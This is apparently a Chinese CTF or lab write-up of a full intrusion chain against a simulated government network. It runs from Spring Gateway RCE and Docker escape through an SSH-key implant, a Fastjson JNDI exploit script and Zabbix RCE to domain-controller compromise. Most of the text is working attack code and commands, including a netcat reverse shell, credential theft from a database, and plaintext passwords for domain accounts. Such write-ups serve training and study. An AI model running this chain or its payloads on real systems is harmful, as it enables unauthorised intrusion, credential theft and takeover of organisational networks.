外网信息收集

root@hcss-ecs-6bf9:~# ./fscan -h 8.130.141.114

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
8.130.141.114:8080 open
8.130.141.114:22 open
8.130.141.114:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.141.114      code:200 len:10032  title:政务服务平台 - 门户与办事大厅

8080 端口的 spring 存在 gateway/routes 接口RCE漏洞

https://github.com/0730Nophone/CVE-2022-22947-/blob/main/exp.py

Getshell

打入内存马

连接成功

发现有.dockerenv文件,猜测需要docker逃逸

docker逃逸

上传CDK检测,但是发现有上传文件大小限制,先切割再重组

https://github.com/cdk-team/CDK/releases/tag/v1.5.5

下载cdk_linux_amd64_thin_upx切割出来的文件数量少点。

split -b 100k cdk cdk. #把文件切割成100k一个上传
cat cdk.* > cdk	#上传后重组
md5sum cdk   #重组后对比md5值,确保没有损坏
chmod 777 cdk #赋可执行权限

执行命令

/tmp >./cdk evaluate --full

CDK (Container DucK)
CDK Version(GitCommit): b4105424a2f329020c388e6e16a42e9bb31ef501
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/

[  Information Gathering - System Info  ]
    /usr/bin/chfn
    /usr/bin/chsh
    /usr/bin/gpasswd
    /usr/bin/newgrp
    /usr/bin/passwd
    /bin/mount
    /bin/ping
    /bin/su
    /bin/umount

[  Information Gathering - Services  ]

[  Information Gathering - Commands and Capabilities  ]
    CapInh:	0000000000000000
    CapPrm:	00000000a80425fb
    CapEff:	00000000a80425fb
    CapBnd:	00000000a80425fb
    CapAmb:	0000000000000000
    Cap decode: 0x00000000a80425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP
[*] Maybe you can exploit the Capabilities below:

[  Information Gathering - Mounts  ]
0:47 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/6JC6FZQGYKHHL4O2O5VQZ2UEPE:/var/lib/docker/overlay2/l/ZNRTUHIEVJBUG4YHHAI2WF3CGQ:/var/lib/docker/overlay2/l/B7X5DEEX2MIUSMKAMKG66GHM6H:/var/lib/docker/overlay2/l/JZ26UVGDDLBIN2AV5AN2SMQ33Y:/var/lib/docker/overlay2/l/PXVXR6FJH7TBYMIBZZWZL7IYRG:/var/lib/docker/overlay2/l/5F2TSJQ5SBGSANBFCV5FWGDQYB:/var/lib/docker/overlay2/l/IQNAZRWMPNDLUYBKM7OUPGBZ4H:/var/lib/docker/overlay2/l/XJQQDLF67JL4LL4OIHGGMJMDOS,upperdir=/var/lib/docker/overlay2/0158e7b92583381e25557d75696c90d5984f79e2abcf336a060e3b1f4c21982a/diff,workdir=/var/lib/docker/overlay2/0158e7b92583381e25557d75696c90d5984f79e2abcf336a060e3b1f4c21982a/work
0:55 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:56 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:57 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:58 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:30 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - cgroup2 cgroup rw,nsdelegate,memory_recursiveprot
0:53 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:59 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k,inode64
252:3 /var/lib/docker/containers/52b7e75c01a9f5f22332a1e9ab8308dbef67758a1175a3a9cd00e32e2bbc67bc/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/vda3 rw
252:3 /var/lib/docker/containers/52b7e75c01a9f5f22332a1e9ab8308dbef67758a1175a3a9cd00e32e2bbc67bc/hostname /etc/hostname rw,relatime - ext4 /dev/vda3 rw
252:3 /var/lib/docker/containers/52b7e75c01a9f5f22332a1e9ab8308dbef67758a1175a3a9cd00e32e2bbc67bc/hosts /etc/hosts rw,relatime - ext4 /dev/vda3 rw
0:24 /sys/kernel/core_pattern /host/proc/sys/kernel/core_pattern rw,nosuid,nodev,noexec,relatime - proc proc rw
0:57 /0 /dev/console rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:55 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw
0:55 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw
0:55 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw
0:55 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw
0:55 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw
0:60 / /proc/acpi ro,relatime - tmpfs tmpfs ro,inode64
0:56 /null /proc/interrupts rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:56 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:56 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:56 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:61 / /proc/scsi ro,relatime - tmpfs tmpfs ro,inode64
0:62 / /sys/firmware ro,relatime - tmpfs tmpfs ro,inode64
0:63 / /sys/devices/virtual/powercap ro,relatime - tmpfs tmpfs ro,inode64

[  Information Gathering - Net Namespace  ]
    container net namespace isolated.

[  Information Gathering - Sysctl Variables  ]

[  Information Gathering - DNS-Based Service Discovery  ]
error when requesting coreDNS: lookup any.any.svc.cluster.local. on 100.100.2.138:53: read udp 172.17.0.2:33404->100.100.2.138:53: i/o timeout
error when requesting coreDNS: lookup any.any.any.svc.cluster.local. on 100.100.2.138:53: read udp 172.17.0.2:55819->100.100.2.138:53: i/o timeout

[  Discovery - K8s API Server  ]
err found while searching local K8s apiserver addr.:
err: cannot find kubernetes api host in ENV
    api-server forbids anonymous request.
    response:

[  Discovery - K8s Service Account  ]
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory

[  Discovery - Cloud Provider Metadata API  ]
    Alibaba Cloud Metadata API available in http://100.100.100.200/latest/meta-data/
    Docs: https://help.aliyun.com/knowledge_detail/49122.html

[  Exploit Pre - Kernel Exploits  ]
[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: less probable
   Tags: ubuntu=(20.04|21.04),debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded



[  Information Gathering - Sensitive Files  ]
    .dockerenv - /.dockerenv
    /.bashrc - /etc/skel/.bashrc
    /.bashrc - /root/.bashrc

[  Information Gathering - ASLR  ]

[  Information Gathering - Cgroups  ]
    0::/
2026/01/02 10:08:32 current dir: /tmp
2026/01/02 10:08:32 current user: root uid: 0 gid: 0 home: /root
2026/01/02 10:08:32 hostname: 52b7e75c01a9
2026/01/02 10:08:32 debian debian 10.9 kernel: 5.15.0-144-generic
2026/01/02 10:08:32 Setuid files found:
2026/01/02 10:08:32 service found in process:
    1	0	java
2026/01/02 10:08:32 available commands:
    curl,wget,find,java,apt,dpkg,capsh,mount,fdisk,base64,perl
2026/01/02 10:08:32 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
2026/01/02 10:08:32 net.ipv4.conf.all.route_localnet = 0
2026/01/02 10:09:12 checking if api-server allows system:anonymous request.
2026/01/02 10:09:13 failed to dial Azure API.
2026/01/02 10:09:14 failed to dial Google Cloud API.
2026/01/02 10:09:15 failed to dial Tencent Cloud API.
2026/01/02 10:09:16 failed to dial OpenStack API.
2026/01/02 10:09:17 failed to dial Amazon Web Services (AWS) API.
2026/01/02 10:09:18 failed to dial ucloud API.
2026/01/02 10:09:18 refer: https://github.com/mzet-/linux-exploit-suggester
2026/01/02 10:09:20 /proc/sys/kernel/randomize_va_space file content: 2
2026/01/02 10:09:20 ASLR is enabled.
2026/01/02 10:09:20 /proc/1/cgroup file content:
2026/01/02 10:09:20 /proc/self/cgroup file added content (compare pid 1) :

/host/proc/sys/kernel/core_pattern 被挂载为 rw - 这是一个经典的容器逃逸点,可以通过修改 core_pattern 执行宿主机命令。

./cdk run mount-procfs /host/proc/ "mkdir /root/.ssh/"
./cdk run mount-procfs /host/proc/ 'echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChe89uwj3Ds12RIiebnLs4e3ouJz4vTJru79vCd6cBud4WpElt+Pj/VmSYY59irt6NGS18tGe39O8i+dYAR15tAmMe3FUycrbub5T8WffVlbRltcfoS//FoCMEEoEe6NV0kBPOi+z4WBC6j2a15iiCa9DV1L8FSdqQmCNrmwG1wSglDlj4wXpr2soHbT/81h2E3xjrcfs2z6NGMXftmmtf7vLmvbQLf1C3INZ5V9zvq0IzNGs8ru8JD69oIPjPDxJKhakxG9suId0Gc4/9LS0PQTP/iqJtmYoZVMLpEPdWmaIeXRzVbAW78jMcxQPs37IOYJLKOPJjp+8/XJX62be9xYyiGYPudKuK+RJAlfby/NFbLMOuL7OhDDRnwG7IssY3T13Mw6945GqOrjbdtGeSXNz8imAN0FmIy5XbPjv5b7Thv9H23iDgh84gcrhLwTU9jzPVcjk/etLOuVTvIxgfZVgBTijJpKWozc98SUqrfeihEQYt4Ezvoolsj4NbhC8= root@zss > /root/.ssh/authorized_keys'

往宿主机写入公钥,使用私钥连接

ssh -i id_rsa root@8.130.141.114

上线Vshell

生成正向客户端,监听8099端口

启用socks5代理

内网信息收集

上传fscan,扫描172.16.22.12/24

root@platform:/tmp# ./fscan -h 172.16.22.12/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.16.22.12    is alive
(icmp) Target 172.16.22.14    is alive
(icmp) Target 172.16.22.41    is alive
(icmp) Target 172.16.22.88    is alive
(icmp) Target 172.16.22.253   is alive
[*] Icmp alive hosts len is: 5
172.16.22.41:88 open
172.16.22.88:80 open
172.16.22.14:80 open
172.16.22.88:22 open
172.16.22.12:80 open
172.16.22.14:22 open
172.16.22.12:22 open
172.16.22.88:8080 open
172.16.22.12:8080 open
172.16.22.41:445 open
172.16.22.41:139 open
172.16.22.41:135 open
172.16.22.12:8099 open
[*] alive ports len is: 13
start vulscan
[*] NetBios 172.16.22.41    [+] DC:ZWFW\DC                 
[*] WebTitle http://172.16.22.12       code:200 len:10032  title:政务服务平台 - 门户与办事大厅
[*] NetInfo 
[*]172.16.22.41
   [->]DC
   [->]172.16.22.41
[*] WebTitle http://172.16.22.88       code:200 len:4531   title:政务内网资源下载
[*] WebTitle http://172.16.22.14       code:200 len:10671  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle http://172.16.22.88:8080  code:404 len:306    title:None

Fastjson

下载apk,使用雷电模拟器打开(这里记得把root关了,开了root好像打不开)

按照教程配置好代理,抓包

https://blog.csdn.net/biao2426618262/article/details/147336036

发现解密了,jadx打开apk分析一下

使用 JADX 反编译 APK,定位到主类 com.example.Mobile.MainActivity,分析 sendLoginRequest 方法的加密逻辑:

  1. 生成 128-bit AES 密钥
  2. 使用 AES/GCM/NoPadding 加密登录 JSON 数据
  3. 加密后数据格式:IV(12字节) + 密文 + GCM Tag(16字节)
  4. 使用 RSA/ECB/PKCS1Padding 和硬编码公钥加密 AES 密钥
  5. 发送 POST 请求:Body 为 Base64 编码的加密数据,Header X-Encrypted-Key 为 Base64 编码的加密 AES 密钥

从 smali 代码中提取到硬编码的 RSA 公钥和服务端地址 http://172.16.22.88:8080/api/login。

APK 使用 Fastjson 进行 JSON 序列化,存在反序列化漏洞利用点。

参考:https://mp.weixin.qq.com/s/s0BtpQloAXLD1kNw9b2SnQ

https://github.com/vulhub/java-chains

下载java-chains-1.4.3-linux-amd64.tar.gz,上传到入口机器上面,运行java-chains

chmod 777 start.sh
./start.sh

日志中找到密码WVfI4afui0PRSHZv

登录http://172.16.22.12:8011/

import base64, os, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

URL = "http://172.16.22.88:8080/api/login"
RSA_PUB = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnKum2FOeaPQumhLBpRauv+OMB6pkdqACjbZYkzzP8CZgjwEwmKauXLxzur1beldNDlVnUs83CnnvanPIYW3oP56t0SoqDmWviBTBJ2aCjtrztFYjBixZEYJ2Exp9f6cdFuSMiucPyuhwY8AuFWnGPJ3Mwt8L8ouV9Lc6Ptp67fCZ0aHr1BVu+pXvHVktbcmeCt+61dnyd9iXTDZfIQ9rwrDsTlkEYORN0hckpFWvgaoNXhXm60ioLkk/qtPZSjir0bpDL0w0iZ3+wRJLtUOe3KyGx+C00S5w2cM0Zw1XlmRQ08yj1nObVkaVsfEU8sSk/XFVnuCrO9YfQCa1uxm5ZQIDAQAB"

payload = '''{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.16.22.12:50388/931789","autoCommit":true}'''

# AES-GCM加密
aes_key, iv = os.urandom(16), os.urandom(12)
cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv), backend=default_backend()).encryptor()
ct = cipher.update(payload.encode()) + cipher.finalize()
body = base64.b64encode(iv + ct + cipher.tag).decode()

# RSA加密AES密钥
pubkey = serialization.load_der_public_key(base64.b64decode(RSA_PUB), backend=default_backend())
key_enc = base64.b64encode(pubkey.encrypt(aes_key, padding.PKCS1v15())).decode()

# 发送
r = requests.post(URL, data=body.encode(), headers={"Content-Type":"application/octet-stream","X-Encrypted-Key":key_enc})
print(r.status_code, r.text)

配置好/etc/proxychains4.conf,运行脚本注入内存马

proxychains -q python3 exp.py

连接成功

Zabbix

配置代理

目录扫描,发现存在 Zabbix 服务

http://172.16.22.14/zabbix/index.php

管理员默认密码

Admin/zabbix

登录后台,进行RCE

反弹shell

busybox nc 172.16.22.12 5566 -e sh

监听

busybox nc -lp 5566

建立交互式shell

script /dev/null -c bash

搜索具有suid权限的程序

zabbix@zabbix:/$ find / -type f -perm /u=s 2>/dev/null
find / -type f -perm /u=s 2>/dev/null
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/ss
/usr/bin/su
/usr/bin/at
/usr/bin/mount
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/snap/core20/1405/usr/bin/chfn
/snap/core20/1405/usr/bin/chsh
/snap/core20/1405/usr/bin/gpasswd
/snap/core20/1405/usr/bin/mount
/snap/core20/1405/usr/bin/newgrp
/snap/core20/1405/usr/bin/passwd
/snap/core20/1405/usr/bin/su
/snap/core20/1405/usr/bin/sudo
/snap/core20/1405/usr/bin/umount
/snap/core20/1405/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1405/usr/lib/openssh/ssh-keysign

发现ss有suid权限,利用ss读取文件

https://gtfobins.github.io/gtfobins/ss/

ss -a -F /flag.txt

使用弱口令连接上 zabbix 数据库:zabbix/password

mysql -uzabbix -ppassword -e "select * from zabbix.userdirectory_ldap\G"

mysql: [Warning] Using a password on the command line interface can be insecure.
*************************** 1. row ***************************
 userdirectoryid: 1
            host: 172.16.22.41
            port: 389
         base_dn: OU=Zabbix,DC=zwfw,DC=com
search_attribute: sAMAccountName
         bind_dn: CN=ldapadmin,OU=Zabbix,DC=zwfw,DC=com
   bind_password: XpVLGkQHm8
       start_tls: 0
   search_filter: 
    group_basedn: 
      group_name: cn
    group_member: 
   user_ref_attr: 
    group_filter: 
group_membership: memberOf
   user_username: 
   user_lastname: 
zabbix@zabbix:/$

从数据库中查询域用户 ldapadmin 密码信息: ldapadmin/XpVLGkQHm8

使用 bloodhound 收集域内信息:

proxychains bloodhound-python -u ldapadmin -p XpVLGkQHm8 -d zwfw.com -dc DC.zwfw.com -ns 172.16.22.41 -c all --auth-method ntlm --dns-tcp --zip

域用户 ldapadmin 可以远程登录 DC

使用域用户 ldapadmin 凭据,通过 WinRM 可以登录到 DC

proxychains -q evil-winrm -i 172.16.22.41 -u ldapadmin -p XpVLGkQHm8
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

nxc smb 172.16.22.41 -u administrator -p a4Z6FcRYSp6LLSGO --codec GBK -x 'type C:\Users\Administrator\Desktop\flag.txt'